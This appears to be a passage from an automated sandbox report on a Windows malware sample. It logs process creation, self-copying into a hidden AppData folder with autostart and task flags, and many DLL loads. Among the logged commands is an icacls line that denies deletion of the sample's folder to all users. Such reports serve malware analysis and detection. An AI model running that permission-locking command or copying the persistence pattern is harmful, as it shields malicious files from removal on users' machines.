Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	String found in binary or memory: id-cmc-addExtensions
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	String found in binary or memory: set-addPolicy
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	String found in binary or memory: id-cmc-addExtensions

Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe

File read: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe "C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe"
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Process created: C:\Users\user\AppData\Local\Temp\RranN.exe C:\Users\user\AppData\Local\Temp\RranN.exe
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Process created: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe "C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe"
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6104 -s 1536
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Process created: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe "C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe" --Admin IsNotAutoStart IsNotTask
Source: unknown	Process created: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe --Task
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Process created: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe "C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe" --Admin IsNotAutoStart IsNotTask
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Process created: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe --Task
Source: unknown	Process created: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe "C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe" --AutoStart
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Process created: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe "C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe" --AutoStart
Source: unknown	Process created: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe "C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe" --AutoStart
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Process created: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe "C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe" --AutoStart
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Process created: C:\Users\user\AppData\Local\Temp\RranN.exe C:\Users\user\AppData\Local\Temp\RranN.exe	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Process created: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe "C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe"	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95" /deny *S-1-1-0:(OI)(CI)(DE,DC)	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Process created: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe "C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Process created: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe "C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Process created: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe --Task	Jump to behavior
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Process created: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe "C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe" --AutoStart
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Process created: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe "C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe" --AutoStart

Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	Section loaded: ntvdm64.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: browcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: iphlpapi.dll
